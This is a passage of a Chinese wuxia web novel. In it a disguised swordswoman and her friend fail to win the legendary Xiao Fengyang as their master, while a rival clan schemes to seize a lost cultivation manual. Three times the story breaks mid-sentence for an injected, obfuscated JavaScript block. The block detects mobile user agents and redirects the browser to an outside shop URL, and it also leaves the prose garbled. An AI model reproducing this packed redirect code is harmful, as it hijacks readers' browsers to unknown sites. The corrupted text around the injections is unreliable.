姜沅道:“一个叫‘迎芳心百鸟送春’。曾经有一大侠之女,容貌倾城,求亲者众,大侠却一律拒绝,只日日守在门口枯死的花丛里,长叹:‘春天甚么时候来啊?’无数才俊想方设法,终不能令花田复生。 “唯一少年,斩下大侠宿仇——也就是无相门门主的头颅,以血遍浇每一寸焦土。转眼间枯木逢春,百花怒放,千百鸟雀盘旋而至,蔚为奇观。大侠抚掌大笑:‘春天终于来了!’遂以女儿相许。那少年,便是萧风扬了。” 薛兰庭想象着,不禁叹道:“还真是浪漫!” 姜沅又道:“另一个叫‘九钟响器祭白骨’。曾经有一江湖邪教,名为白骨圣教,专掳十余岁孩童以炼邪功,武林久受其害,却因其行踪诡秘、巢穴险僻而难除。有一回,他们掳走的一个孩子,与萧风扬颇有渊源。 “萧风扬孤身寻至教外,扬言道:‘三声之内放人,否则九钟响尽,此派当灭!’那时他虽已继任尊主十数年,却因痴迷武学、鲜问外事,众人皆不知其功力深浅,只当是狂言。 “不料他真命人敲响镇派大钟——钟鸣九响,声尽之时,白骨教内已血流成河,无一生还。许多教徒至死,只见一道残影掠过。他救出孩童,以全教性命为祭,炼成一把神兵。自此,尊主之名响彻寰宇,武林上下莫不心服。” 薛兰庭嘴里的草叶惊得掉了出来:“这、这这……” “这”了半天,憋不出什么字句能表达心中的震惊景仰之情,遂掰着指头道:“功夫绝顶,名利皆收,佳人在侧……生若如此,夫复何求啊!” 姜沅叹了口气道:“这两件事之间隔了十余年,其中也是风云变幻。他妻子诞下孩子不久,便遭无相门余孽寻仇,除他以外全家俱亡。即使他后来武功大成报复回去,却也心灰意冷。” 薛兰庭唏嘘一声:“哎……纵然武功盖世,怕是这辈子也不会快活了。” 姜沅笑道:“你又怎知?他既是武痴,此后更能一心武道。登峰造极,万人之上,多少人求之不得?” 薛兰庭摇头道:“就算我成了天下第一,身边人都离我而去了,我也不会快活的。” 姜沅道:“那是因为你还没当过,所以才能说出这种话。站在高处,想要什么东西得不到?有人偏偏要把自己困在过去,认为失去的就是最好的,陪伴过的总是最独特的。可天底下,永远有更好的在前头——正因如此,世人才拼了命地,要往上走。” 就像曾经姜郃送给她一只翠雀儿,陪了她一年有余,日日逗趣,十分讨人喜爱。娘发现后,拿剪刀将雀儿脖子剪断了,她为此伤心许久,发誓再也不养活物。后来姜甫阁见她练功努力,赏她一只更为漂亮稀罕的彩毛鹦鹉,只不到半个月的时间,她便又喜欢上了,好像也没什么大不了的。 自那之后,她突然懂得了母亲对少庄主之位的执着,也懂得了姜甫阁对“天下第一庄”头衔的渴望。 她不要当馒头,她要当挑选鹦鹉的人。 薛兰庭听了,却撇撇嘴,嘟囔道:“不是的。” “不是这样的。” “东西或许有更好的,但人怎么能一样?我以后就算认识了天底下所有厉害的人,难道沅兄你,就不是我沅兄了吗?” 他声音忽而有些激动: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274947|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我、我不管别人怎么看,你就是我最独一无二、无可替代的朋友!” 姜沅还真是遭不住这厮滚烫又直挺挺的目光看着她,仿佛急切地要证明什么似的,“你……” 薛兰庭又黯然下来:“不过,你肯定不那样想啦。师父说,阳光、泥土和位置不同,所以每片叶子都是不同的脉络。我怎么能要求你也把我当作最好、最独特的朋友?” 姜沅看他转过身,一把抓住他小臂,似想安慰几句,刚开口,又不知如何说出。就在这时,不远处突然响起一阵气势磅礴的喧哗声。 草原上的男女老少,齐齐挤在一处围成半圈,天空一只恣意翱翔的白鸟,直线坠入人群。 霜打茄子般的薛兰庭,一下子燃起兴致,反抓住姜沅手腕:“沅兄,我们也去看看!” 姜沅被他莽莽撞撞拉着走,忘了挣脱。 一名高大挺拔的男子,身骑白马,立于正中,是所有视线的聚焦点。 长发扎成细小黑辫,缀有青羽装饰,显得有几分桀骜与野性,如草原上骄傲的头狼。绿松石皮革束腰勾勒健壮腰身,鹰钩鼻,带笑唇,眼睛被一条三指粗的黑布蒙住。 这般傲然而淡定的姿态,仿佛他周遭毫无一人,又仿佛是对这情景习以为然。胯|下马蹄生风,他手拉长弓,形如满月,对准了湛湛青天。 另一边的人将三只白鸟往天上用力一抛,白鸟瞬飞数丈,晴天闪电般,踪迹飘忽不定。 蒙眼男子耳朵一动,腿夹马腹,白马长嘶一声向前奔走。他上半身不动如山,手中三支饰有青羽的箭矢同时发射,迅如流光。三只白鸟躲闪不及,齐齐坠地,人群一阵高呼。 “听声辨位,太棒了!” “三星盲箭!无人能及!” 薛兰庭亦惊叹:“好厉害的箭术,这得从娘胎里就开始练吧!” 旁边有人骄傲地回道:“那是!小兄弟,你是外地来的吧?这可是我们草原最耀眼的明珠,人称‘小青凤’。咱们这儿,连鹰羽都爱染成青色系在弓上,就是追着‘小青凤’的风采!盼着自个儿哪天,也能有他十分——不,哪怕百分之一的风光呢!” 姜沅心中一动,道:“这位‘小青凤’,是不是姓游?” 那人道:“正是呢!” 姜沅点点头,见薛兰庭跟着人群欢呼鼓掌,逗他道:“你也上去,跟他比比?” 薛兰庭脖子一缩:“不太好吧?我这背还痛着呢。下次,下次一定。” 两人又看了一会儿。直至十几只白鸟落尽,场上换了其他人,众人的兴致显然不再狂热,呼声也低了起来。 姜沅欲拉薛兰庭走,手一伸出摸了个空。 发间忽地一沉,薛兰庭站在身后,不知何时编了一只花环,戴到她头上,雪白的吟霜花擦过额角,丝丝痒意。姜沅下意识想把花环摘下,刚碰到那柔软的花骨朵,忍了忍,手又缓缓垂下。 在这里的话,娘是看不见的吧。 刚下场的黑辫男子,卸下镶满宝石的腕带与束腰,换上轻便一点的装束。帐外有人报:“游公子,童大公子回来了。” 游凤回眼也不抬:“哦?可知是何事?” “听说是为故人庆生,但——” 那人顿了顿,“童大公子回庄后,童庄主甚为震怒,罚他去了死生洞,还禁了一月的足。” 游凤回湿布擦手的动作越来越慢,“不对。” “你确定童非真去了死生洞?” “小的亲眼所见。” “备马。”游凤回又披上狐裘外衣,“我倒要看看,童旗山跟他这宝贝儿子在搞什么把戏。” 11. 暗潮 童非自归庄后,便见首座上的父亲,脸色如草原的雷雨天一般黑。虎踞龙盘的浮雕刻印在身后墙面,好似浮于他肩膀,散发威严庄重的凛然之气,将整个大堂都压得沉了下来。 童旗山道:“当真甚么也没有?” 童非道:“确是一口普通棺材,料想宋家人也不会将东西藏在亡母衣裳中。” 童旗山却道:“难说。” 童非抬头见父亲面色沉凝,不停抚摸椅座扶手上的白虎皮,问:“父亲,那功法,当真厉害么?” 童旗山叹了口气,道:“你可知,我崇朝国力强盛,四海升平,为何武林却分南北两派,不相来往?” 童非也有所听闻:“自是因为百年前天下第一大宗‘镜天宗’内部分裂,弟子分两派,各据南北,传统、武学、理念皆分化独立,自此‘北风不度南岭,南雨不润北疆’。” 童旗山道:“你所言,那都是世人所以为。你可知百年前的镜天宗,出现了一代传奇人物,名为观澜生?” 童非道:“比之萧风扬如何?” “萧风扬?哼!”童旗山一拍扶手,“他不过当今的武学标杆。若说他是天底下最高大的一棵树,那么观澜生,就是照在树上的那轮太阳!” 童非实在无法想象还有比萧风扬更厉害的人物,脸上顿生向往之色。 “我的爷爷,也就是你的曾祖父,临终前,曾对我说过一个故事。” “观澜生晚年闭关十载,观天地正气、察人心幽微,终创出一门绝世心经,至纯至正,以‘无垢心’催动‘浩然气’,威力可通天人。然其对修行者要求极高,稍有不慎便会走火入魔。” “观澜生苦于将此法传于何人,便对座下两名优秀弟子道:‘需亲手断绝至亲或至爱之人的性命,以此明心见性,方可传承此法。’” 童非眼睛大睁:“所以他们……” “不错。”童旗山深深看他一眼,“他二人皆信以为真。倘若他们质疑、愤怒,那就算通过考验,心存仁义。却不知,那俩人自小心高气傲,互相攀比较劲,不肯比对方稍差一厘。于是一人杀了妻子,一人杀了母亲。” “观澜生得知时为时已晚,自恨祸从己出,掩面而泣,毁灭此心经,解散宗派,从此遁世归隐。那两人亦无颜以对,遂一北一南,各自开宗立派,渐行渐远,至死不相往来。” 后来宗派渐渐解散,天下武学便以山庄为旗号。百年沉浮,多少山庄凋零,又有新锐崭露头角。演化至今,便是北派童家庄一家独大,南派三大山庄共同扛旗的局面。 童非艰难道:“莫非那其中一名弟子,是我童家的先人?” 童旗山叹道:“正是。” 半晌沉默。 良久,童非道:“那跟此次的任务又有何关系?” 童旗山没有回答,只踱步到一盏金鱼镂空明灯旁,转动灯座。“轰隆、轰隆”几声,太师椅背后一面雕龙画鹰的墙面,往两侧轰然洞开,露出一条黑黢黢密道。 童非跟他进入密道中,却见尽处一座地牢火光点点,墙上栓满铁链,中央一张石床,躺着一位披头散发、浑身是血的长髯男子,空气中有难闻的苦药味。 男子听到动静,挣扎起身,脸色苍白着跪地道:“童庄主。” 童旗山将他扶起:“先前之事,你再说一遍罢。” 男子咳了咳,看了眼旁边的童非,心领神会,哑声道:“在下……乃是无相门弟子。” 童非惊道:“十余年前被萧风扬所灭的无相门?” “是。”男子怆然,随即目光阴狠起来,“萧风扬曾经为求娶一女子,杀了我门门主。” 童非点头,这便是家喻户晓的“迎芳心百鸟送春”了。 “此属私怨,暂且不论。可此后第三年,恶人寻仇,屠尽萧风扬满门,竟‘无意’留下一信物,让他误以为是我师父朝云子为门主报仇所为。我师父虽非大善之人,又怎会做出此等恶举,连一未足月的小孩儿也不放过?” “当时哀恸欲绝的萧风扬却信了,不久后得人赠一秘法,武功大增,竟将我无相弟子全门杀尽。” 童非看了一眼父亲,对男子道:“所以,你是想让我们为你伸冤,找出真正杀害萧风扬妻儿之人?” 且不说这桩事过去了近二十年,凶手早已遁入人海,再随意揭人伤疤,岂不是与萧风扬作对?童家庄拉拢他还不及,又凭什么相信一个来历不明的外宗弟子? 男子又道:“这些年,我一直在寻找证据,希望还师父一个清白。在半个月前,我找到了一个人。” “那人曾是萧风扬夫人的贴身婢女,有幸躲过灭门之灾,从此离开江湖改头换面,嫁给了当朝一位权贵——” “正是当今丞相,宋百龄大人。” “我提着剑,本想问那丞相夫人,是否见过萧氏仇人的真正面目。她却先一步道:‘你也是来找心经的吗?’” “我突然想到萧风扬被灭门之时,虽为盟主,武功却仍有不足。为何几年后,以一人之力,独挑无相门全派?我那师父武功也算深不可测,竟在他手下撑不过数十招。忽而又记起师父临终前,对我所言‘观澜生’三字,这才明白,那本造成南北武林分裂的‘佚经’出世了,落到了当年的萧风扬手里。” “我更愿意相信,是萧风扬先得心经,为人惦记,才有了灭门惨案。” “我逼问丞相夫人心经在何处,那夫人年岁既长,头发已是雪白,不知想到何事,神思恍惚心境震颤,竟开始说胡话。过了一会,便咽气了。” 说到此处,男子脸有愧色。本是为师父伸冤而来,却为至尊心经吸引,断了重要的人证线索。 “萧风扬近年来,暗中派人搜查一样东西,我怀疑是他那本心经残缺不全,教那婢女拿走了一部分。可即使只修炼了一部分,都能独行天下,若是全部修炼,又该到何等境界!” 此话一落,满室寂静,室内三人的胸口均灼灼似火烧。 “我将此事告知童庄主,便是相信唯有童庄主这样的能人,才配修此至法,统一南北武林。只望事成之日,还我师父、无相门其他无辜子弟,一个清清白白。” 童非这才知道自己办砸了多么重大的任务,一时不知如何言语,头拉得极低。童旗山又宽慰那人几句,带着童非出去了。 “父亲,我……” “非儿,”童旗山目光落在他身上,鹰隼般威严凶猛的瞳孔里,浸着难言的慈爱,“童家庄、南派三庄、朝廷,哪个不在铆足劲拉拢萧风扬?可他耽于旧情,多年闭关,虽能稳坐尊主之位,却并不适合今日之武林。南北分立这些年,乱象频生,江湖要的,是一个能把路指向通天之人。” “你游师兄再厉害,也始终是个外家子。将来你做庄主,他做客卿,你就甘心他一辈子压你一头?让我们童家庄,长长久久倚仗于外人?” 童非胸口像压了块烧红的石头,又是灼热,又是沉重,沉声道:“孩儿一定炼心淬骨、夺取心经,不负父亲期望!” 童旗山满意地点点头。 提到游凤回,童非又想起圭月岭之事,“此次南行,孩儿还遇见了两名南派侠客,一善骨鞭,一善重剑,皆是年纪轻轻,功夫绝伦。” 童旗山问了两人的穿着、样貌,让他演示了几招功法,颔首道:“确是焚阳、邀月弟子。你可有泄露身份?” 童非心中一虚,道:“没有……” 童旗山道:“多长点见识也是好的,免得坐井观天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274948|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、心存懈怠。我可听说,长宇那孩子回来后,天不亮就缠着你师叔练功,以前睡到日上三竿都喊不醒。” 童非深以为然。童旗山摆摆手:“行了,此次我对外宣称你犯下小错,禁足一月。你去死生洞历练几天,随后跟你师叔再去一趟南地,勿要走漏风声。” 听到“死生洞”三字,童非身形一颤,攥拳道:“孩儿遵命!” 万里晴空。一支青翎短箭破空钉入靶心,旁边,密密麻麻扎入了十几支箭矢,却只有两三支正中窄小红心。拉弓少年抿唇不悦,又从背后抽出一支。 “长宇,歇会儿吧。”刚扎完马步的童武,浑身是汗,打开了牛皮水囊。 明长宇执拗道:“不了,我一定要中。” 童武道:“你越是浮躁,越射不准,不如先歇歇。” 似乎为了印证这话,下一支羽箭,连那只靶子都没中,折在半路。 明长宇气馁地垂下弯弓。 廊上传来侍女小厮行礼的声音,一名挺拔健壮的青年信步而来,皮靴紧实,发辫垂肩,朗笑道:“长宇师弟!阿武师弟!” 庭中两人同时唤道:“游师兄!” 若在平时,明长宇早就放下弓箭,凑到这位他景仰的师兄面前说话了。可今日他想到还没射完一筒,便止住脚步,握紧弓身。 游凤回看了那靶子一眼道:“师弟今日倒肯下这般苦功?” 明长宇脸红道:“自是勤能补拙……” 童武截声道:“哼,他不过瞧见南派几个耍花架子的,心里不服,憋着劲想追上人家呢。” 游凤回惊讶:“从前怎不见你因我这般较劲?莫非他们功夫已胜过我?” “才不是!”明长宇眼神又热切起来,“师兄就是塔干木草原上一轮明月,我们都是夜明珠,哪里有夜明珠跟明月争辉的?我只要比其他夜明珠亮一点点,便知足了。” 游凤回笑了笑,蜜色皮肤在太阳下格外亮眼,又跟二人聊了几句闲话,才道:“听说童非师弟去死生洞了,你们可知是犯了何事?” 明长宇苦恼道:“这次出行我们本为庄主故友庆生,谁知恰好撞见残谱失窃一事,童非师兄古道热肠,欲助一臂之力,却不小心得罪了几位当地人,差点暴露身份。” 游凤回道:“原是如此,只是这处罚太重了罢。师兄还未去过南地,不知有甚么好玩的?” 明长宇说了一大堆美食、美景,又回忆起圭月岭之事,道:“师兄,当时你要是在就好啦,那怪物肯定不在话下!” 游凤回笑道:“童非师弟都束手无策,我可没那么大能耐。不过你说的那两名侠士,倒是有意思,怎么结识的?” 明长宇刚要说截棺一事,童武就悄悄捏住他的手臂,对他使了个眼色,到嘴边的话遂又吞了回去。 童武道:“你这身汗味儿臭死了,还不先回去洗个澡!” 明长宇讷讷地被他拉着,离开庭院,问道:“师兄,你掐我干嘛,游师兄也不能告诉吗?” 童武道:“你忘了庄主的吩咐么!游师兄这么厉害,庄主为什么不喊他去,让咱两个陪着?遮遮掩掩的,庄主大人和童非师兄一定是有什么秘密!” 明长宇脸色变得严峻:“我明白了。” 游凤回又去童非庭院溜了一圈,从下人口中得到了个同样的答复。随从迟疑道:“公子,莫非是我们多心了?” “越平静的水,底下越容易藏着东西。” 游凤回捻着缀着宝石的皮革护腕,语气转冷。 “我查过那县令,一个粗鄙武夫,眼里只看得见金银和女人。为张残谱兴师动众?他可没那个雅骨。” “盯紧童旗山父子,看来下回,我得亲自去南地一趟。” 12. 浇酒 天山山腰,积雪终年不化。 古朴阔气的庭院矗立雪中,宁静安然,宛如一只冬眠的兽,珠簪黄裙的侍女们款款而行,没有发出一丝声响。 托盘在前,搭在腰间骨鞭上的手,犹豫着迟迟未肯取下。旁边的薛兰庭却大大咧咧,爽快地将伏天剑、包袱等物递给侍女,端起一杯热茶牛饮。 姜沅僵持半晌,终是将化龙与短匕交了上去,暂作寄存。 侍女无声退去。薛兰庭环顾四周,呼出一口白气:“这里的布置,倒与我们那儿没什么不同。只是萧前辈为何选了此处?山脚下就挺好的,这儿——嘶,真冷。” 姜沅道:“极寒或极暑,皆于练功有益。此地有处寒泉,一可淬炼体魄,二可平心静气,尤其适用于心境要求苛刻的功法。况且此地僻远,隔绝尘嚣,无人惊扰,更能沉溺于武学之间。” 薛兰庭感叹:“萧前辈已是天下第一,还这般苛求自己,当真令人钦佩啊!” 姜沅哼道:“可不是,有的人呐,连打坐调息两个时辰都待不住,屁股底下就跟长了根刺儿似的。” 薛兰庭知道她是在说自己了,梗着红脖子道:“我那是动静相宜,劳逸结合!” 说罢,又报复似的,从她手边的果盘中抢了一把蜜饯,塞得双颊鼓胀,终是安静了下来。 即将要见到传说中的萧风扬了,姜沅手脚虽冷,胸膛却一片火热。默念着犊姑教给自己的练功口诀,以期平息心中的紧张与兴奋:“……他念为弓,我意为弦。以虚引实,以静制缠……” 念着念着,念到深奥难以领会处,不禁蹙眉闭目,怀念起了跟犊姑练功的时光。犊姑虽对徒弟十分苛刻、要求极高,却刀子嘴豆腐心,两人虽为师徒,却形同母女。 犊姑一去,不知何时才能再见。姜沅心中一边是思念与怅惘,一边叹惜往后不再有人通此独门秘法,也无从询问解惑。于是更加下定决心,要拜入这武林至尊门下。 “姜少侠,我家主人有请。”侍女推门而入。 姜沅跟随其后,穿过一条长长的、昏暗的甬道,十几道门并列两侧,以狮首铜圈落锁,这便是天山山体内的洞府了。尽处一小间,侍女止步门口,姜沅推门而入,立刻被扑面而来的寒气冻得浑身一激,毛发都似竖了起来。 房中摆了几张沉木桌椅,空旷无人。 难不成是要在这儿等? 姜沅悄悄打量这静室。墙上挂着天宫仙鹤送瑞图,几首江湖闲游诗,见之忘俗。侧面一桌灵台,摆放着一把银色冷光长剑,剑柄雕刻狻猊,竟是传说中锻器大师明冶子,以鲜血祭成的神剑“沥心”。 姜沅心道:“萧风扬灭白骨邪教祭器,莫非祭的也是这把沥心剑么?如此算来,它饮了多少人血?” 武林之人无不敬佩明冶子,也无不渴望拥有一把他所传下来的神兵,姜沅亦如此。光是看一眼,心中就如沸水翻腾,不可遏制地将手伸向那剑身。 刚触及,指尖一痛,竟淌出一滴血珠。 这剑……怕是连剑光都能杀人了! 姜沅咬着被割破的指腹,心绪不受控制乱飞。这时,身后蓦地响起一道幽渺之声: “尔为何人?” 姜沅一惊,咫尺之遥,她竟未尝察觉有人靠近,可见对方内力已臻化境。 猛地转过身行礼道:“晚辈焚阳弟子姜沅,见过……” 抬头。身后无人。 姜沅一怔,复又回过身来。却见沉木椅子上,不知何时坐了一位白发男子。面容瞧着也不过三十岁,白衣素冠,神色冷淡,手臂虚虚地搭在沉木扶手上。 曾有人传闻,武功高到一定境界,乃有驻颜或返老还童之效,镜天宗的某位观姓宗师便是如此。然时岁渺远,斯人已逝,无从印证,众人不过当作野史奇谈。便是姜甫阁、薛青锋这等人物,亦未窥其门径,遑论登堂。 但萧风扬做到了。 再观他举止若有神韵,气息淡至虚无,整个人好似一缕清风、一颗砂砾般,浑然与天地之气融为一体。 姜沅脑中蓦地浮出四字—— 天人合一。 那白发男子似是倒了杯酒,淡淡道: “所来为何?” 姜沅单膝跪地,低眉垂首,一副虔敬谦卑之态:“晚辈自幼仰慕前辈风采,日夜苦练,未敢懈怠。前些时侥幸于扶摇盛会夺魁,得此北上求师之机。愿拜入前辈门下,必当呕心沥血,不负武林!” 一番陈词结束,空气安静良久。 姜沅肚子里一百只牛皮鼓咚咚作响,满是热血的脑子渐渐冷静下来,想抬头又不敢。 座上那人又问:“所凭为何?” 姜沅诚恳道:“一人,一心。无所不能为之事,但求前辈垂训。” 那人道:“哦?甚么心?” “诚挚之心,向武之心,亦谦逊之心。” 一双白靴轻轻落入视野,姜沅低着头,心如擂鼓。 前辈这是,被打动了? 她嘴角尚不及勾起一个成形的弧度,下一刻,就如坠冰窖。 一道冰冷的酒水,自她头顶,蜿蜒而下。 淌过眉心、鼻梁、下颌,啪嗒啪嗒,滴落于地。体内燃烧着的那股与室内寒气相抗的热火,一时之间,尽数熄灭,寒意如饿狼扑身而上。 姜沅眼睫颤了颤,酒水刺得眼眶发涩,不确定道:“前辈……这是?” “诚挚,谦逊?” 萧风扬声音冷然。 “藏头露尾之徒,尚不敢以真面示人,也配言诚?在本座面前故弄玄虚,也配言谦?” 姜沅未曾想他第一眼就能识破自己伪作男身一事,冷汗涔涔,抬头急道:“晚辈并非有意欺瞒,而是有不得已的苦衷!” “苦衷?” “谁会关心你的苦衷?” 他的目光似天山上皑皑白雪,居高临下,看破一切般,“这世上人人都有苦衷,可别人只看行为,只论结果。若没记错,焚阳只收男弟子。女子多变,且耽于情怨,更何况你这般狡狯——光是这双眼睛,便叫你的那些心思无所遁形,又怎是一心向武的赤忱之人?” “你欺师、欺友、欺天下,亦欺自己。小小年纪,这般心思,这般面目。恕萧某受不起,还请回罢!” 姜沅不敢置信地看着他,脸上仿佛被人毫不留情一连抽了百十个巴掌,鼻头发酸,眼眶通红,几乎是要逼出泪来。 便是曾经母亲、市井狂徒打骂自己时,也没有今日万分之一的屈辱! 她深吸一口气,慢慢站起,抬手抹去脸上的酒液。 “晚辈……受教。” 话音未落,一把抓起灵台上的沥心剑,狠狠刺向萧风扬! 便是父亲告诫自己的什么谨慎低调都不顾了,什么后果都不管了,嘶吼道: “萧风扬!枉我敬你为长辈,你竟如此辱我!那你跟我这个小人,又有何区别?!” 这怒然迅猛的一剑,灌注了她全部内力,更兼之沥心神剑削铁如泥,迸发数百道仿若实质的剑气,狂风飒然,离得近的桌椅杯盏当即震为飞灰。 萧风扬没躲。 他轻抬二指,夹住剑身,凶狠剑气瞬间凝滞,时间都仿佛暂停。 “咔。” 两指之间,一道裂痕,饮血无数的沥心剑就此断裂。 姜沅浑身僵硬,看着断剑倒映出自己惨白的脸,哐当坠地。 眼前的萧风扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274949|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟凭空消失,下一刻,她膝弯一痛,扑通一声,双腿跪倒在地。 “这便是本座与你的区别。”他自身后淡淡道。 鬼影掌此人,来去无踪,招法缥缈,形如鬼魅。 ——且无人能敌。 姜沅双掌撑地,浑身失了力气,再说不出话来。 “你走吧,本座不欺小辈。” 房门缓缓合上,寒气渐收,身体却依旧冷。姜沅回头最后望一眼。 门缝之中,萧风扬正弯腰,拾起一物,轻轻吹去灰尘: “只可惜了啊,这把好剑。” …… 桌上蜜饯都快吃空了,薛兰庭好心地留下一颗,倚在椅背呼呼大睡。醒来,姜沅还没回,惆怅道:“拜个师要这么久?” 无聊半晌,右手贱嗖嗖地伸向蜜饯,左手猛地将右手叩住,低斥道:“不行,不能再吃了!” 推门声响,薛兰庭望向门口,嘴角一漾:“沅兄!”抓了最后一颗蜜饯上去,笑吟吟道:“你可算回来了,感觉如——” “滚!” 姜沅劈手推开他,扭头出了房门。 蜜饯孤零零掉到地上,打了几个滚。薛兰庭却没关注那滚入桌底的蜜饯,而是抬起右手背,低头一看,怔愣出神。 手背上,有一滴滚烫的水珠。 刚出来的姜沅没找到侍女,廊上空空,一连推开三扇门,终于见到了收行李的那个。 “东西。” 侍女愣住,“还请少侠稍待片刻,等另一位少侠出来,奴婢再将物品一并归与。” “我现在就要走。” 侍女脸上带笑,却置若罔闻:“少侠,我去给您斟茶……” 姜沅扬手扼住她脖颈:“聋了吗?把我的东西还回来!” 侍女吓了一跳,拼命抠她手掌,咬牙道:“不、不行,这是主人的规矩……” 手掌越收越紧,侍女脸色已如白纸,却依旧不肯松口。窒息之前,姜沅卸了力道,惨然一笑。 在这里,在萧风扬的地盘,连这种小事都要看主人脸色,循规蹈矩。 她恨极,却无能为力。 侍女仓皇离开。姜沅只能坐在房间,等着薛兰庭出来,看他喜气洋洋拜入萧风扬门下。她则灰溜溜回到焚阳,面对姜甫阁的问责、师兄弟的失望,以及其他山庄的冷嘲热讽。 赤忱之人?呵。 合该她是伪君子,合该她是小人,合该薛兰庭这样脑子缺根筋的傻子,永远能毫不费力得到陌生人的好眼缘,有一颗什么狗屁赤子心。 练功,不就是讲天赋与悟性?她自认不差,否则也不会在五年内达到如斯境界。 可萧风扬却一言否定了她。 然后用半根手指,打得她溃不成军,连辩解都显得那么可笑。 姜沅抬手一摸,头发上的酒水已经半干了,心中的寒冰却迟迟不化。 罢了,等着就等着吧。倘若薛兰庭真到她面前炫耀,她就…… 姜沅攥紧了掌心。 “叩叩叩。” 正思索间,另一个陌生侍女轻敲门框。 “姜少侠,还请来罢。” 姜沅一顿:“薛兰庭出来了?” 侍女答道:“薛少侠已经出来了。” 这么快?那是成了还是没成? 姜沅心中隐隐有个答案,但依旧不愿相信,她不能接受自己居然以这种原因失败了。 侍女拿来包袱与化龙鞭,姜沅接过,刚迈出门。 只听“嘭”的一声,一人撞开隔壁房门,朝她这边冲了过来。一边跑,一边哭丧着脸喊道: “沅兄!那萧风扬好不当人,竟将我打成这般模样!” 13. 红绸 姜沅看着鼻青脸肿的薛兰庭,满腔郁火仿佛被按下暂停键,一时不知如何反应:“你这……” 萧风扬不是自矜自傲不欺负小辈么,她对他起了杀心,都全须全尾出来了,那薛兰庭这又是……? 她保守地想了个可能性,“你尿他头上啦?” 薛兰庭拿帕子擦着鼻血,一把鼻涕一把泪:“那萧风扬不是个五六十岁老头么,我进去后见了个年轻人,就问他:‘你是谁,萧风扬那老匹夫呢?’那人当时脸就黑了。” “之后又问了我几个不知所云的问题,我听得云里雾里,就说:‘你这白毛怪,再吵,我就叫我师父来收拾你了!’他问我我师父是哪个,我说:‘我师父可是大名鼎鼎的萧风扬,比你们这些奴仆强多了!’他听完就笑了。我气得想让他瞧瞧我的厉害,就空拳搏虎,用一身蛮劲招呼了百八十招,他忍无可忍,把我踹出来了……” 姜沅忍不住道:“你是真傻还是假傻,那人就是萧风扬。” 薛兰庭大吃一惊,帕子都掉到地上:“啊?那这可咋办!” 姜沅道:“走呗!两个人都把这儿的主人得罪透了,还能咋办?” 薛兰庭瑟瑟缩缩跟在她身后出了门。见她步子稳健生风,不似有伤,不禁暗中松了口气。又想起静室中那一滩水渍、一把断剑,懊悔没多喂那人几招,最好是能把脸打花,拔几根白毛出来逗人乐呵。 姜沅回头瞪他:“还不快点,你想继续待在这儿吗?” “不想!”薛兰庭立刻道,急忙跟上去,刚想露出个笑,不小心扯到脸上伤口,疼得龇牙咧嘴。 姜沅脚步不自觉放慢,心中忽而酸涩:“倘若他真的拜师成功,我定与他断交,视之如仇。可如今他失败,我心中却觉欢喜轻松,莫非我真的是一个见不得别人好的小人?” 随即又反驳:“不对!姜沅啊姜沅,你怎又钻这种牛角尖?任凭他人如何看你,你万万不可看低自己。君子如何,小人又如何,我想当什么就当什么。该死的萧风扬,竟扰我心境。” 两人由北返南,比来时少说了许多话。 姜沅远眺白云绿水,烟霞川峦,也消不去腹中半分烦闷。薛兰庭倒是与来时无二,叽叽喳喳的,便是从前她养的那只翠鸟,都没有这般啰嗦。 薛兰庭愁道:“那萧风扬使的什么邪功,我脸上这淤青几天了都消不去,薛伯伯可是夸过我玉树临风来着,往后我如何见人呀!” 姜沅凉凉道:“玉树临风的薛大侠,你不如找个大夫好好看看内伤。我可听说了,有人受过他一掌,初时毫无征兆、活蹦乱跳,七日后,竟在家中五脏六腑衰竭而死了。” 薛兰庭打了个寒噤,捂住肚子,如同身受。 这时,官道上响起一阵仓皇的脚步声。 “救命啊!救命!” 几个五大三粗的汉子,手持长刀,满目凶色,追着一位纤瘦的覆纱女子。 薛兰庭惊道:“阿渠姑娘?” 阿渠在茶摊上的义勇掀纱之举,让二人对她颇有好感,击散几个地痞后,薛兰庭问道:“你怎么会在这里?” 此地属南北交界地带,再往下便是沅江。阿渠向二人道了谢,将乱糟糟的鬓发拨弄到耳后,声音中掩不住惶恐悲痛: “自那一事后,几个江湖人联合打砸了老伯的摊子,老伯气急攻心,就这么去了……我虽逃出来,却不认得路,无处可去,还不小心得罪几名游侠……幸好撞见了二位少侠。” 一边说,一边落泪,“我、我虽不会武功,但懂些医术,识得些草药。若、若是二位少侠不弃,阿渠愿肝脑涂地!” “你要跟着我们,当真?”薛兰庭瞪大眼,“你快帮我看看,我这脸,能治不——” 